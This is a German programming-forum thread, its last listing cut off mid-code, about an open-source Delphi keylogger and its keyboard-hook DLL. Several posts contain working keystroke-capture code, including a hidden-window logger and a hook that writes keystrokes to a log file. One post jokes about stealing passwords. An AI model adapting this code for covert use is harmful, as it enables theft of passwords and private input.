Entwickler-Ecke

Open Source Projekte - KeyLogger


Aya - Di 19.08.03 02:18
Titel: KeyLogger
Hi,

Luckie und ich haben zusammen einen KeyLogger geschrieben. Von ihm stammt die Programmoberfläche und von mir die KBHook.dll. Uns ging es rein um das Prinzip "Wie geht das", nicht mehr und nicht weniger. Es sollte auch deutlich werden, dass wir keine bösen Absichten verfolgen, da nichts auf der Festplatte gespeichert wird oder gar an uns gesendet wird. Desweiteren ist das Programm imme rin der Taskbar sichtbar!

Die Sourcen sollten nur zu Lehrzwecken dienen und wir hoffen, dass die Sourcen nicht für illegale Zwecke mißbraucht werden. Wir haben uns entschieden die Sourcen mit zu veröffentlichen, da wir der Meinung sind, dass wer Sourcecode in dieser Richtung sucht, ihn so oder so finden wird und wenn er nur beim Hook Tutorial von Assarbad landet.

Au'revoir,
Aya und Luckie

Moderiert von user profile iconraziel: Link entfernt und als Anhang eingefügt.


Aya - Do 21.08.03 17:00

Hi,

*guckt misstrauisch* Wieso schreibt niemand was er von dem ding hält..??

Au'revoir,
Aya~


recall - Mo 01.09.03 22:29

*ärgert sich ein wenig*
Kann das Proggi nicht downloaden: Server not found !

Habs um 15h und 22:30 probiert :) .

Viele Grüsse.


BungeeBug - Mo 01.09.03 22:42

Ich hab ihn ... werd aber aus dem Code nich schlau :)


Delete - Mo 01.09.03 23:00

recall hat folgendes geschrieben:
*ärgert sich ein wenig*
Kann das Proggi nicht downloaden: Server not found !

Habs um 15h und 22:30 probiert :) .

Geht wieder.


recall - Di 02.09.03 01:10

nicht schlecht, sogar gut... respekt:
nur der bug: geht mal auf z.B. Word und drückt Strg+C
danach einen Buchstaben.... dann kommt der Buchstabe 5mal !

Viele Grüsse.


Delete - Di 02.09.03 07:21

Der Bug in Word ist mir egal, so lange das Passwort von deinem E-Mail Client korrekt meinem Rechner übermittelt wurde. :mrgreen:


ObscurusNox - Sa 18.10.03 13:10

Datei is irgendwie nicht downloadbar. Zumindest nicht von meinem Rechner aus.

Haste die File aus'm Netz genommen??


toms - Sa 18.10.03 13:18

http://www.luckie-online.de/downloads/LuckieSpy2.zip


ObscurusNox - Sa 18.10.03 13:22

DANKE!!!


The-FoX - So 25.04.04 22:08

der dl geht nicht mehr.


Delete - Mo 26.04.04 18:31

The-FoX hat folgendes geschrieben:
der dl geht nicht mehr.

Schön für dich. Schon mal auf die Idee gekommen, sich auf der HP mal etwas umzukucken? :roll:


jaenicke - Do 29.04.04 16:05

Wer's nicht schafft, selbst zu suchen: :lol: :lol: :lol:
http://www.luckie-online.de/Downloads/LuckieSpy2.zip


hallo - Mo 14.06.04 17:20

Hi,
das programm ist schon sehr gut!
Was mich aber etwas nervt ist, wenn man jetzt z.B. die Taste VK_LEFT oder VK_RIGHT drückt, dies dein Programm nicht mitschreibt.
Es zeigt dann einfach ' oder % an!
Ich finde {rechts} oder so wäre besser.

PS: DAS PROGRAMM IST ABER BIS AUF DIE MACKE SUPER! :D


Delete - Mo 14.06.04 17:38

Hast du den Hotkey-Quatsch also doch aufgegeben? :mrgreen:
IMHO ist das Programm Open-Source. Soll heißen: Du kannst den Quellcode notfalls anpassen.


com-chip - Sa 29.01.05 15:57

Der Download weiter oben funktioniert nicht! :(
Fehler 404, Seite nicht gefunden! Kann jemand sagen wie ich diese Datei herbekomme?? Kann sie mir jemand vielleicht zuschicken, wäre echt net.


raziel - Sa 29.01.05 16:01

Wer suchet der findet:
http://www.luckie-online.de/Delphi/Programme/LuckieSpy2.zip
Ich werd den im ersten Posting mal anpassen...


com-chip - Sa 29.01.05 16:17

Danke! Hat funktioniert! Kleine Frage, was ist denn immer mit luckie-online.de?? Da ist ja fast alles. Gehört der etwa zum Forum, oder kann da jeder was hochladen?? Oder hat der das alles alleine gemacht, Respekt!! :wink:


JayEff - Sa 29.01.05 16:25

Luckie online ist doch die HaPe von Luckie (meinem ehrenwerten vorbild :D ;) )... ich vermute die beiden arbeiten zusammen... Warum man diese Page so oft findet? weil Luckie eben so viel programmiert hat... xD


Delete - Sa 29.01.05 17:25

Nö, ich habe nichts mit dem Forum zu tun und meine Homepage auch nicht.

Äh, ich habe doch extra eine so schöme 404 Seite gebastelt, ist es so schwer mal den Links am Ende von Text zu folgen und selber mal etwas auf der HP zu gucken? :roll:


com-chip - Sa 29.01.05 18:38

Nein, war nicht so schlimm. Wo du schon mal da bist, du bist doch der Programmierer, oder??

Wie kriege ich die Datei in eine normale Anwendung?? Ich habe den Quelltext schon komlett in die Unit1.pas kopiert (bei einer VCL standardabwendung ohne API), doch jedesmal wenn dass Programm starten soll, öffnet es erst den Keylogger, und dann wenn ich ihn geschlossen habe (also deine Anwendung), geht meine erst auf. Kann ich nicht einfach auf meinem Formular ein Memo platzieren in dem dann der Text steht?? Aber wie muss ich dann das einstellen das er darein kommt?? Bitte helf mir. Das Programm ist aber klasse und der Code. Nur brauche ich nicht das zum erstellen des Formulars, sondern halt nur das damit die Zeichen in mein eigenes Memo kommen. Das wird ja nur eine kleine Passage sein die ich umprogrammieren muss, aber wie heißt es so schön, man findet den Wald vor lauter Bäumen kaum... Bitte helf mir, danke! :cry:


Karlson - Sa 29.01.05 19:00

@com-chip: Nimms mir nicht übel, aber bevor du so einen Kram probierst würde ich erstmal programmieren lernen :roll:


com-chip - Sa 29.01.05 19:16

Genau deswegen will ich es ja wissen, "wer nicht fragt bleibt dumm". Ich habe leider überwiegend Ahnung von VCL. Mit API habe ich noch nicht so viel zu tun gehabt. Aber wenn es so einfach ist, dann sag du mir wie es geht. Sollte ja in 5 Minuten fertig sein. Einfach oben das Archiv ruterladen (siehe link), dann die dll einbinden und die paar Zeilen dafür schreiben. Ich wäre dir dafür echt dankbar.


F34r0fTh3D4rk - Di 08.02.05 21:42

ich verstehe den aufruf net so ganz, also der hook, wird extern aus der dll aktiviert ?

ich hab so meine probleme mit non-vcl weil das imma so viel code is.

könnt ihr nich mal n beispielcode geben, in der die tasten, stur, wie sie kommen in eine datei geschrieben werden ?
also so wenig code wie möglich und mit vielen erklärungen, weil bis jetzt krieg ich das net hin :(

also ich habe das bis jetzt so:

Delphi-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
unit UMain;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs;

type
  TForm1 = class(TForm)
  private
    { Private-Deklarationen }
  public
    { Public-Deklarationen }
  end;

type
  PHWND = ^HWND;

const
  WM_KEYBOARD_HOOK = WM_USER + 52012;

var
  Form1: TForm1;
  hHook: LongWord = 0;
  Key: Word;
  KeyboardLayout: HKL;
  GetShiftKeys: Boolean;
  hWndBuffer: PHWND;
  hMMF: THandle;

implementation

{$R *.dfm}

function KeyboardProc(nCode: Integer; wParam: LongWord; lParam: LongWord): LongWord; stdcall;
var
  LastKey: Char;
  KeyState: TKeyboardState;
begin
  Result:=CallNextHookEx(hHook,nCode,wParam,lParam);
  if nCode<0 then
    Exit
  else begin
    KeyboardLayout:=GetKeyboardLayout(0);
    GetKeyboardState(KeyState);
    if ToAsciiEx(wParam,MapVirtualKeyEx(wParam,2,KeyboardLayout),KeyState,@LastKey,0,KeyboardLayout)>0 then
      Key:=Ord(LastKey)
    else
      Key:=wParam;
    if (lParam and $80000000)=0 then
      if not (wParam in [16,17,18]) or GetShiftKeys then
        PostMessage(hwndBuffer^,WM_KEYBOARD_HOOK,Key,GetActiveWindow);
  end;
end;

function CreateHook(hWnd: HWND; ShiftKeys: Boolean): Boolean; external 'KBHook.dll';
function DeleteHook: Boolean; external 'KBHook.dll';

end.

Aber wie mache ich jetzt mit diesen funktionen, zB dass er bei formcreate anfängt die keys in ne TXT Datei zu loggen und dann bei close aufhört (wenn der code bis jetzt überhaupt richtig ist :))


retnyg - Fr 11.02.05 05:29

habe ich das hier richtig mitbekommen ?
luckie hat jedesmal den link geändert wenn hier ein neuer hardlink aufgetaucht ist ?
damit man den code auf seiner seite selber suchen muss ?

sonderbares verhalten... in den regeln steht doch dass man in diesem forum einen funktionierenden link anbieten muss.


Delete - Fr 11.02.05 05:56

retnyg hat folgendes geschrieben:
habe ich das hier richtig mitbekommen ?
luckie hat jedesmal den link geändert wenn hier ein neuer hardlink aufgetaucht ist ?

Wo habe ich jedes mal den Hardlink geändert?

Zitat:

sonderbares verhalten... in den regeln steht doch dass man in diesem forum einen funktionierenden link anbieten muss.

Kann sein, dass Links nicht mehr stimmen, da ich mir die Freiheit genommen habe meine Homepage umzustrukturieren. Da ich aber nicht weiß, wo und wann ich welchen Link gepostet habe und ich keine Lust habe alle Foren und Internetseiten zu durchsuchen, die Links auf Inhalte meiner Homepage beinhalten, dürfte es nur normal sein, dass ein paar Broken Links darunter sind. Deswegen halte ich es auch für etwas ungünstig Direktlinks angeben zu müssen. Desweiteren wäöre es mir sowieso nicht möglich, Links in Postings von anderen zu korrigieren. Und der Link im Ausgangsposting funktioniert. Warum also diese Aufregung?

Aber wie wäre es, wenn man die betreffendne Person in einer Pn oder E-Mail darauf hinweistm, anstatt hier rumzublöken?


Delete - Fr 11.02.05 06:17

Sorry, wegen dem "rumblöken" war nicht so gemeint. Jedenfalls habe ich die Links nie absichtlich geändert.


retnyg - Fr 11.02.05 06:27

jo tschuldige, dachte der thread wär neu. dabei is der von 2k3 ^^


Lesco - Mo 21.03.05 14:50

ich hab mal wieder nen prob mit d8
wenn ich die KBHook compilieren will sagt er:
Die Prozedurendefinition muss ILCODE-Aufrufkonvention sein

was hat das zu bedeuten?


Delete - Mo 21.03.05 14:59

Du weißt, dass D8 nur .NET Code erstellen kann, die DLL aber reiner WinAPI Code ist?


delfiphan - Mo 21.03.05 15:01

(Mit Delphi 2005 kann man doch auch Win32 Programme schreiben...)


Lesco - Mo 21.03.05 15:04

also keine möglichkeit diese dll zu verwenden?


Delete - Mo 21.03.05 15:07

user profile icondelfiphan hat folgendes geschrieben:
(Mit Delphi 2005 kann man doch auch Win32 Programme schreiben...)

Das hat auch niemand bestritten Nur:
Lesco hat folgendes geschrieben:

ich hab mal wieder nen prob mit d8

Wer lesen kann, ist im Vorteil.


Karlson - Mo 21.03.05 17:53

user profile iconLesco hat folgendes geschrieben:
also keine möglichkeit diese dll zu verwenden?


Nein, aber wenn du D8 legal erworben ist muss da meines Wissens auch D7 dabei sein.


syrious - Di 26.04.05 18:19

Hi. Warum ist das Form von LuckieSpy nicht im Source-Ordner dabei? In der DPR steht doch dass die Modifizierung erlaubt ist :( . Wenn Ihr das Form nicht veröffentlichen wollt, würd ich mich über dessen Namen freuen.


Lesco - Di 26.04.05 18:23

das is doch imho als resource dabei
100% von Luckies Progs sind glaub ich non-vcl, d.h keine Formulare, keine Vcl


syrious - Di 26.04.05 18:43

Könnte man das irgendwie auf VCL biegen :roll: *keinahnunghab*


retnyg - Di 26.04.05 18:46

hier wäre ein keylogger code den du leicht in deine vcl-app einfügen kannst: http://www.delphi-forum.de/viewtopic.php?t=101&postdays=0&postorder=asc&start=15


syrious - Di 26.04.05 18:54

danke für die schnellen Antworten. Ich probiers mal aus...kann ne Weile dauern :wink:


Harry M. - Di 26.04.05 19:06

user profile iconsyrious hat folgendes geschrieben:
Könnte man das irgendwie auf VCL biegen :roll: *keinahnunghab*
ich empfhele dir die tuts von luckie und assabard zu diesem thema. keine ahnung haben aber sowas coden wollen.... muß das funktionsprinzip solcher software gänzlich jedem zugänglich gemacht werden?? :roll:


Lesco - Di 26.04.05 19:16

der schwierigere code steckt eh in der dll und die kannste auch in ner vcl anwendung benutzen musst halt nur die entsprechende nachricht verarbeiten


F34r0fTh3D4rk - Di 26.04.05 19:31

aber n hook ist dafür ja net dringend notwendig :o


J.Borchert - Do 30.06.05 14:19

Stand 30.06.2005 : http://www.luckie-online.de/developer/Delphi/Programme/LuckieSpy2.zip

:roll:


Martin1966 - Do 30.06.05 15:41

user profile iconJ.Borchert hat folgendes geschrieben:
Stand 30.06.2005 : http://www.luckie-online.de/developer/Delphi/Programme/LuckieSpy2.zip

:roll:

was willst du uns damit sagen bzw was hat das mit diesem topic zu tun?


raziel - Do 30.06.05 18:52

Er will damit sagen, dass Luckie seine Seite umstruktiert hat und so der Downloadlink sich geändert hat. Was ja eigentlich nicht schlimm ist, eine Meldung an den Virtuelle Assistenten (Die Melden Buttons sind hier überall zu finden und schwer zu übersehen) hätte auch gereicht, dann bessern wir das gleich im ersten Posting aus (wie schon geschehen).

Gruß,
raziel


Marco D. - Mi 14.09.05 15:25
Titel: keyloger
Bei mir kann die Seite nicht gefunden werden zum Download :bawling:


Delete - Sa 08.10.05 13:26
Titel: Re: KeyLogger
So, jetzt hängt es als Amhang dran.


vader - Mo 10.10.05 12:05

hallo F34r0fTh3D4rk

hab deinen alten verstaubten keylogger ausbrobiert, er läuft, aber er zeichnet
keine tastenbefehle vom nummernblock auf ??

mfg vader


masteroffinalfantasy - Do 20.10.05 14:18

warum kommt bei meinem antivir programm eine meldung?


JayK - Do 20.10.05 17:45

weil ein Keylogger normalerweise eine schädliche Software ist, ganz einfach ;-) in dem fall musst du das halt ignorieren...


Ivo@CoMRoK - Mi 14.12.05 20:24

Oder wer nicht mit Hook arbeiten will:
Anhang oder: http://www.ivo.de.gg (zweckorientierte Seite net schön :wink:
mfg Ivo
//Ach ja: Das Prog speichert die Eingaben inne Textdatei (im Ordner vom Prog) und wenn ihr auf //minimieren geht macht ihrs mit F2 wieder sichtbar :D


Delete - Mi 14.12.05 20:30

Keinen Kommentar:

Delphi-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
75:
76:
77:
78:
79:
80:
81:
82:
83:
84:
85:
86:
87:
88:
89:
90:
91:
92:
93:
94:
95:
96:
97:
98:
99:
100:
101:
102:
103:
104:
105:
106:
107:
108:
109:
110:
111:
112:
113:
114:
115:
116:
117:
118:
119:
120:
procedure TForm1.Timer1Timer(Sender: TObject);
var
  i: byte;
  t: String;
begin
Timer1.Interval := 10;
for i := 0 to 254 do
        if boolean(getasynckeystate(i)) then
          begin
            if i = 1 then t:='MausLinks';
            if i = 2 then t:='MausRechts';
            if i = 4 then t:='MausRad';
            if i = 5 then t:='MausForward';
            if i = 6 then t:='MausBack';
            if i = 8 then t:='Return';
            if i = 9 then t:='Tab';
            if i = 13 then t:='Enter';
            if i = 19 then t:='Pause';
            if i = 20 then t:='Feststell';
            if i = 27 then t:='Esc';
            if i = 32 then t:=' ';
            if i = 33 then t:='BildAuf';
            if i = 34 then t:='BildAb';
            if i = 35 then t:='Ende';
            if i = 36 then t:='Pos1';
            if i = 37 then t:='Links';
            if i = 38 then t:='Oben';
            if i = 39 then t:='Rechts';
            if i = 40 then t:='Unten';
            if i = 44 then t:='Druck';
            if i = 45 then t:='Einfügen';
            if i = 46 then t:='Entfernen';
            if i = 48 then t:='0';
            if i = 49 then t:='1';
            if i = 50 then t:='2';
            if i = 51 then t:='3';
            if i = 52 then t:='4';
            if i = 53 then t:='5';
            if i = 54 then t:='6';
            if i = 55 then t:='7';
            if i = 56 then t:='8';
            if i = 57 then t:='9';
            if i = 65 then t:='A';
            if i = 66 then t:='B';
            if i = 67 then t:='C';
            if i = 68 then t:='D';
            if i = 69 then t:='E';
            if i = 70 then t:='F';
            if i = 71 then t:='G';
            if i = 72 then t:='H';
            if i = 73 then t:='I';
            if i = 74 then t:='J';
            if i = 75 then t:='K';
            if i = 76 then t:='L';
            if i = 77 then t:='M';
            if i = 78 then t:='N';
            if i = 79 then t:='O';
            if i = 80 then t:='P';
            if i = 81 then t:='Q';
            if i = 82 then t:='R';
            if i = 83 then t:='S';
            if i = 84 then t:='T';
            if i = 85 then t:='U';
            if i = 86 then t:='V';
            if i = 87 then t:='W';
            if i = 88 then t:='X';
            if i = 89 then t:='Y';
            if i = 90 then t:='Z';
            if i = 91 then t:='Windows';
            if i = 92 then t:='WindowsRechts';
            if i = 93 then t:='Tasks';
            if i = 97 then t:='Num1';
            if i = 98 then t:='Num2';
            if i = 99 then t:='Num3';
            if i = 100 then t:='Num4';
            if i = 101 then t:='Num5';
            if i = 102 then t:='Num6';
            if i = 103 then t:='Num7';
            if i = 104 then t:='Num8';
            if i = 105 then t:='Num9';
            if i = 106 then t:='Num*';
            if i = 107 then t:='Num+';
            if i = 109 then t:='Num-';
            if i = 110 then t:='Num,';
            if i = 111 then t:='Num/';
            if i = 112 then t:='F1';
            if i = 113 then Form1.Show;
            if i = 114 then t:='F3';
            if i = 115 then t:='F4';
            if i = 116 then t:='F5';
            if i = 117 then t:='F6';
            if i = 118 then t:='F7';
            if i = 119 then t:='F8';
            if i = 120 then t:='F9';
            if i = 121 then t:='F10';
            if i = 122 then t:='F11';
            if i = 123 then t:='F12';
            if i = 144 then t:='Num';
            if i = 145 then t:='Rollen';
            if i = 160 then t:='Schift';
            if i = 162 then t:='STRGLinks';
            if i = 163 then t:='STRGRechts';
            if i = 164 then t:='Alt';
            if i = 165 then t:='AltGroß';
            if i = 187 then t:='+';
            if i = 188 then t:=',';
            if i = 189 then t:='-';
            if i = 190 then t:='.';
            if i = 191 then t:='#';
            if i = 220 then t:='^';
            //Das hier muss so lang sein sonst geht des mim abragen net so gut ;-)
            Edit1.Text := Edit1.Text + t;
          end;
      sleep(10);
if Edit1.getTextLen = 75 then
 begin
  Liste.Add(Edit1.Text);
  Edit1.Text := '';
  Memo1.Text := Liste.Text;
end;

:-?

Desweiteren läßt sich das nicht kompilieren, weil die falschen Dateien mitgeliefert werden.

Und warum hat das Fenster keine Titelzeile? Warum hat es keinen Eintrag in der Taskbar? Verliert es einmal den Fokus kommt man nur über Alt+TAB wieder an das Fenster.


Muffin - Fr 06.01.06 18:56

Ich weiß, dass man Keyboard Hooks auch für gewöhnliche Programme benutzen kann, aber werden solche DLLs nicht von Virenscanner erkannt und als potenziell gefährlich eingestuft?


Karlson - Fr 06.01.06 19:30

user profile iconvader hat folgendes geschrieben:
hallo F34r0fTh3D4rk

hab deinen alten verstaubten keylogger ausbrobiert, er läuft, aber er zeichnet
keine tastenbefehle vom nummernblock auf ??

mfg vader


FearOfTheDark fragt nur bis #90 ab. Die Num-Tasten sind von 97 bis 110.

Einfach die 90 ändern, und's geht...


@Muffin: Du hast ein paar Fehler in deinem Code.


Delphi-Quelltext
1:
2:
3:
4:
5:
6:
if Edit1.getTextLen = 75 then   
 begin   
  Liste.Add(Edit1.Text);   
  Edit1.Text := '';   
  Memo1.Text := Liste.Text;   
end;


Spätestens hier wirst du ein grosses Problem haben.

Und warum erstreckt sich deine For-Schleife bis 254, obwohl du nur bis 220 abfragst?


Kugelblitz - So 13.08.06 20:23

wenn der Firefox das aktive fenster aktiviert ist kommt sowas dabei raus:


Quelltext
1:
wwiieesssoo  iisstt  ddaa   aallllleess  ddooppppeelltt?                    


bei anderen fenstern funktioniert alles bestes...

wieso ist da alles doppelt?


Jakob Schöttl - So 13.08.06 20:32

Aber der AntiVir PE Classic schlägt an!
Und ich check leider überhaupt nicht für was das Programm gut ist!
EDIT: Doch jetzt hab ichs gecheckt.

bitte eine trotzdem kurze erklärung, am besten ganz oben bei der fehlenden Programmbeschreibung.


origin - Mi 25.10.06 20:48
Titel: Keylogger
Hi,
habe mir das Werk mal angesehen und bekam prompt eine Alarmmeldung von
meinem AntiVirenProgramm über einen gefährlichen Trojaner in der kbhook.dll-Datei.
Welchen Nutzen hat so ein Keylogger, wenn jedes Mal eine solche Warnmeldung
erscheint?


jaenicke - Mi 25.10.06 20:57

Wie im ersten Beitrag steht:
user profile iconAya hat folgendes geschrieben:
Die Sourcen sollten nur zu Lehrzwecken dienen und wir hoffen, dass die Sourcen nicht für illegale Zwecke mißbraucht werden.

Nun ja, und beim Lernen stört es ja auch nicht, wenn diese Meldung kommt. Schließlich kann man die DLL in diesem Verzeichnis ja als Ausnahme definieren...

Und dass diese Meldung vom Antivirenprogramm kommt ist ja auch sehr gut so, weil dies eine illegale Nutzung des Codes ausschließt. (Naja, und wer kein Antivirenprogramm installiert hat ist selbst schuld...)
Ich meine, sonst könnte man ja sehr einfach einen Trojaner auf diese Weise programmieren und das ist ja nicht Sinn der Sache!


Darnus - Mi 25.10.06 23:09

Tolle sache echt super evtl zeigste jetzt noch allen wie man richtig einbruch verübt oder jemanden beklaut. Andere leute leiden darunter nur weil son ****** son shit veröffentlicht, andere machen sich jetzt ihr ding daraus ob du gewahrnt hast oder nicht das geht dennen am **** vorbei. Haste toll gemacht jetzt kann man nichtmal mehr online gehen ohne daran zu denken das Serials zb von games usw geklaut werden! Steinigt IHN!!!!!!!!!!! buuuuuuuuuuuuuuuuu Ich downloade den müll erst garnet wer weiss...


Delete - Mi 25.10.06 23:47

Bitte was? :shock:

OK, ich verrate dir dann auch besser nicht, dass man mit der API-Funktion DeleteFile auch ganz böse Sachen machen kann. Und hast du mal eine Statistik gesehen, wie viele Menchen jährlich mit einem Messer erstochen werden? Und wie viele Messer hat deine Mutter in der Küche? Weißt du wie viele Menschen jährlich im Strassenverkehr zu tode kommen und wie viele Autos es gibt und wie viele neue Autos jährlich verkauft werden? :roll:


jaenicke - Mi 25.10.06 23:49

user profile iconDarnus hat folgendes geschrieben:
Tolle sache echt super evtl zeigste jetzt noch allen wie man richtig einbruch verübt oder jemanden beklaut. Andere leute leiden darunter nur weil son ****** son shit veröffentlicht, andere machen sich jetzt ihr ding daraus ob du gewahrnt hast oder nicht das geht dennen am **** vorbei. Haste toll gemacht jetzt kann man nichtmal mehr online gehen ohne daran zu denken das Serials zb von games usw geklaut werden! Steinigt IHN!!!!!!!!!!! buuuuuuuuuuuuuuuuu Ich downloade den müll erst garnet wer weiss...

Was ist denn das bitte für ein Umgangston???? :evil: :evil: :evil:

Und was deine "Aussage", falls man das so nennen kann, angeht: Wie bereits gesagt wird die benötigte DLL von jedem Antivirenscanner erkannt! Also was willst du überhaupt? Dieses Beispiel kann man bei jedem verantwortungsbewussten Benutzer :twisted: also nicht so als Spion benutzen (denn so jemand hat immer einen Antivirenscanner)!

Und was den Code angeht: Den gibt im Internet auch an anderer Stelle, da bekommst du sogar den Source für komplette Trojaner (Sub Seven, etc.)! Und zum Erlernen der Funktionsweise von Hooks ist dieses Beispiel sehr gut! :!:


crowley - Di 28.08.07 16:01

Servus ;)

Ich habe hier ein praktisches Beispiel für den Einsatz eines Keyloggers:

Meine Firma stellt unter anderem Software für Handscanner und Tastaturscanner her. Bei einem unserer Kunden gab es unlängst Probleme mit den Tastaturscanner, die über einen ThinClient am System angebunden sind.

Unter bestimmten Voraussetzungen wurde der gescannte Code unterschiedlich interpretiert. So wurde beispielsweise statt {WH10} wurde [wh10] zurückgegeben.

Durch Zufall haben wir das nun reproduzieren können. Wenn unter Windows XP über Remote Desktop gescannt wurde, wirkte es sich unmittelbar auf das "Ergebnis" des Scannen aus, ob man RDP im Fullscreen oder im Fenstermodus laufen ließ.

Soweit so gut, jetzt muss herausgefunden werden, warum das unterschiedlich interpretiert wird. Unsere Systemverwaltung hatte mich gebeten, einen KeyLogger zu schreiben, der die Dateneingabe aufzeichnet. Zu diesem Zweck habe ich mir das hiesige "Tutorial" zu Gemüte geführt, bin da aber auf einige Probleme gestoßen:

Ich muss nicht nur die "eingegeben" Zeichen speichern, sondern auch den tatsächlichen Scanncode, sowie den Status von NumLock, CapsLock, Shift, Ctrl und Alt und soweit es möglich ist, den Namen der für die Eingabe gültigen Regionalen Settings (Language Code).

Da ich im "Lese-Programm" nicht auf diese Werte zugreifen kann (zumindest hab ich es nicht zum laufen bekommen), habe ich diese Funktionalität in die DLL gepackt. Allerdings gelingt es mir dort auch nicht, dass ich alle Tasten "abfange". Die Windowstasten sowie Pause- und die Kontextmenü- Taste kann ich gar nicht abfangen. Einige Zeichen scheinen inzwischen willkürlich verloren zu gehen, andere werden falsch interpretiert (z.B. AltGr).

Desweiteren: Wie komme ich an den Namen des "Eingabetastatur- Layouts"? Gibt es eine einfachere Art, den Status von Shift, Capslock etc. abzufragen? Da ich diese Informationen nicht komplett per Message verschicken konnte, speichere ich die geloggten Werte in eine Datei (C:\KBHook.log) und öffne diese in meiner "Lese Anwendung"...

Weswegen ich MapVirtualKeyEx zweimal aufrufe liegt daran, dass bestimmte Tasten ein falsches Ergebnis zurückgaben (z.B. F9 -> p)


Delphi-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
75:
76:
77:
78:
79:
80:
81:
82:
83:
84:
85:
86:
87:
88:
89:
90:
91:
92:
93:
94:
95:
96:
97:
98:
99:
100:
101:
102:
103:
104:
105:
106:
107:
108:
109:
110:
111:
112:
113:
114:
115:
116:
117:
118:
119:
120:
121:
122:
123:
124:
125:
126:
127:
128:
129:
130:
131:
132:
133:
134:
135:
136:
137:
138:
139:
function KeyboardProc(nCode: Integer; wParam: LongWord; lParam: LongWord): LongWord; stdcall;
var
  LastKey0: Char;
  LastKey2: Char;
  KeyState: TKeyboardState;
  LogFile: TextFile;
  Text: String;
  Line: String;
  MappedKey0: Cardinal;
  MappedKey2: Cardinal;
  AsciiKey0: Cardinal;
  AsciiKey2: Cardinal;
begin
  Result:=CallNextHookEx(hHook,nCode,wParam,lParam);
  if nCode<0 then
    Exit
  else begin
    KeyboardLayout:=GetKeyboardLayout(0);
    GetKeyboardState(KeyState);
    MappedKey0 := MapVirtualKeyEx(wParam, 0, KeyboardLayout);
    MappedKey2 := MapVirtualKeyEx(wParam, 2, KeyboardLayout);
    AsciiKey0 := ToAsciiEx(wParam, MappedKey0, KeyState, @LastKey0, 0, KeyboardLayout);
    AsciiKey2 := ToAsciiEx(wParam, MappedKey2, KeyState, @LastKey2, 0, KeyboardLayout);

    if (MappedKey0 > 0then begin
      if (AsciiKey0 > 0and (MappedKey2 > 0and (AsciiKey2 > 0and
         (not (wParam in [VK_RETURN, VK_PAUSE, VK_ESCAPE, VK_CANCEL, VK_BACK])) then begin
        Key := Ord(LastKey0);
        Text := LastKey0;
      end
      else begin
        case wParam of
          VK_LBUTTON: Text := '<LBUTTON>';
          VK_RBUTTON: Text := '<RBUTTON>';
          VK_CANCEL: Text := '<CANCEL>';
          VK_MBUTTON: Text := '<MBUTTON>';
          VK_BACK: Text := '<BACKSPACE>';
          VK_TAB: Text := '<TAB>';
          VK_CLEAR: Text := '<CLEAR>';
          VK_RETURN: Text := '<RETURN>';
          VK_SHIFT: Text := '<SHIFT>';
          VK_CONTROL: Text := '<CTRL>';
          VK_MENU: Text := '<ALT>';
          VK_PAUSE: Text := '<PAUSE>';
          VK_CAPITAL: Text := '<CAPSLOCK>';
          VK_CONVERT: Text := '<CONVERT>';
          VK_NONCONVERT: Text := '<NONCONVERT>';
          VK_ACCEPT: Text := '<ACCEPT>';
          VK_MODECHANGE: Text := '<MODECHANGE>';
          VK_ESCAPE: Text := '<ESCAPE>';
          VK_PRIOR: Text := '<PRIOR>';
          VK_NEXT: Text := '<NEXT>';
          VK_END: Text := '<END>';
          VK_HOME: Text := '<HOME>';
          VK_LEFT: Text := '<LEFT>';
          VK_UP: Text := '<UP>';
          VK_RIGHT: Text := '<RIGHT>';
          VK_DOWN: Text := '<DOWN>';
          VK_SELECT: Text := '<SELECT>';
          VK_PRINT: Text := '<PRINT>';
          VK_EXECUTE: Text := '<EXECUTE>';
          VK_SNAPSHOT: Text := '<SNAPSHOT>';
          VK_INSERT: Text := '<INSERT>';
          VK_DELETE: Text := '<DELETE>';
          VK_F1: Text := '<F1>';
          VK_F2: Text := '<F2>';
          VK_F3: Text := '<F3>';
          VK_F4: Text := '<F4>';
          VK_F5: Text := '<F5>';
          VK_F6: Text := '<F6>';
          VK_F7: Text := '<F7>';
          VK_F8: Text := '<F8>';
          VK_F9: Text := '<F9>';
          VK_F10: Text := '<F10>';
          VK_F11: Text := '<F11>';
          VK_F12: Text := '<F12>';
          VK_F13: Text := '<F13>';
          VK_F14: Text := '<F14>';
          VK_F15: Text := '<F15>';
          VK_F16: Text := '<F16>';
          VK_F17: Text := '<F17>';
          VK_F18: Text := '<F18>';
          VK_F19: Text := '<F19>';
          VK_F20: Text := '<F20>';
          VK_F21: Text := '<F21>';
          VK_F22: Text := '<F22>';
          VK_F23: Text := '<F23>';
          VK_F24: Text := '<F24>';
          VK_NUMLOCK: Text := '<NUMLOCK>';
          VK_SCROLL: Text := '<SCROLLLOCK>';
        end;
        Key := Ord(LastKey0);
      end;
    end
    else begin
      if wParam = VK_RETURN then
        Text := '<RETURN>'
      else
        Text := Chr(wParam);
        
      Key := wParam;
    end;

    if (lParam and $80000000)=0 then
      if not (wParam in [16,17,18]) or GetShiftKeys then begin
        AssignFile(LogFile, 'C:\KBHook.log');
        if FileExists('C:\KBHook.log'then
          Append(LogFile)
        else
          Rewrite(LogFile);

        Line := 'Text:' + QuotedStr(Text) + ' : ';
        if wParam <> 0 then
